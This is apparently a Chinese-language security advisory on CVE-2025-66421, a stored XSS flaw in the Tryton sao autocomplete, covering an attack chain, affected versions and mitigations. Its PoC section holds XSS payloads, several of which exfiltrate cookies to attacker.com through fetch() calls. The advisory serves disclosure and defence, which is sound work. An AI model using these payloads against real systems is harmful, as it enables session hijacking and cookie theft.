IPBUF安全漏洞报告
English
CVE-2025-66421 CVSS 5.4 中危

CVE-2025-66421 Tryton sao XSS跨站脚本漏洞

披露日期: 2025-11-30

漏洞信息

漏洞编号
CVE-2025-66421
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Tryton sao (tryton-sao)

相关标签

XSS跨站脚本TrytonTryton sao存储型XSSCVE-2025-66421ERP系统前端漏洞自动补全功能

漏洞概述

CVE-2025-66421是Tryton ERP系统前端组件Tryton sao中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于自动补全(completion)功能中,由于程序在显示自动补全建议值时未对用户输入进行充分的HTML转义处理,导致攻击者可以在自动补全字段中注入恶意JavaScript代码。当其他用户触发自动补全功能或查看包含恶意数据的记录时,注入的脚本代码将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。该漏洞影响多个版本的Tryton sao,CVSS评分为5.4(中危),攻击复杂度低,但需要低权限用户参与,且需要用户交互才能触发。

技术细节

该漏洞的根本原因在于Tryton sao的自动补全组件在渲染下拉建议列表时,直接将后端返回的completion值插入到HTML文档中,而没有进行HTML实体转义。自动补全功能通常用于提供输入建议,如客户名称、产品代码等字段的快速填充。当攻击者在这些字段中提交包含<script>标签或事件处理器(如onerror、onload等)的恶意数据时,这些数据会被存储在后端数据库中。当其他用户访问相关功能模块并触发自动补全时,恶意代码会被渲染到页面中并在用户浏览器执行。攻击者可利用此漏洞窃取用户Cookie、劫持会话、执行未经授权的操作,或进行进一步的社会工程攻击。修复版本已在7.6.11、7.4.21、7.0.40和6.0.69中发布,修复方式是在显示自动补全值时添加HTML转义处理。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用Tryton ERP,并确定存在自动补全功能的模块
STEP 2
权限获取
攻击者获取Tryton系统的低权限账户(PR:L)
STEP 3
恶意载荷注入
攻击者在使用自动补全功能的输入字段中提交包含XSS payload的数据
STEP 4
数据持久化
恶意数据被存储在后端数据库中(Stored XSS)
STEP 5
触发执行
其他用户访问相关功能或触发自动补全时,恶意脚本在受害者浏览器中执行
STEP 6
攻击完成
攻击者通过XSS payload窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for CVE-2025-66421 --> <!-- Tryton sao completion field XSS --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Method 3: Using SVG --> <svg onload="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Method 4: Using anchor with javascript: --> <a href="javascript:fetch('https://attacker.com/exec?cmd='+document.cookie)">Click me</a> <!-- Exploitation scenario: --> <!-- 1. Attacker submits malicious payload in any field that uses completion --> <!-- 2. Payload is stored in Tryton database --> <!-- 3. When other users trigger completion, payload executes in their browser -->

影响范围

Tryton sao < 6.0.69
Tryton sao < 7.0.40
Tryton sao < 7.4.21
Tryton sao < 7.6.11

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制低权限用户对自动补全功能的使用;2) 在Web应用防火墙(WAF)层面配置XSS防护规则;3) 实施严格的输入验证机制,过滤特殊字符如<、>、"、'等;4) 启用浏览器的XSS过滤器功能;5) 对关键用户群体进行安全意识培训,提醒不要点击可疑链接。但这些措施仅为临时解决方案,强烈建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表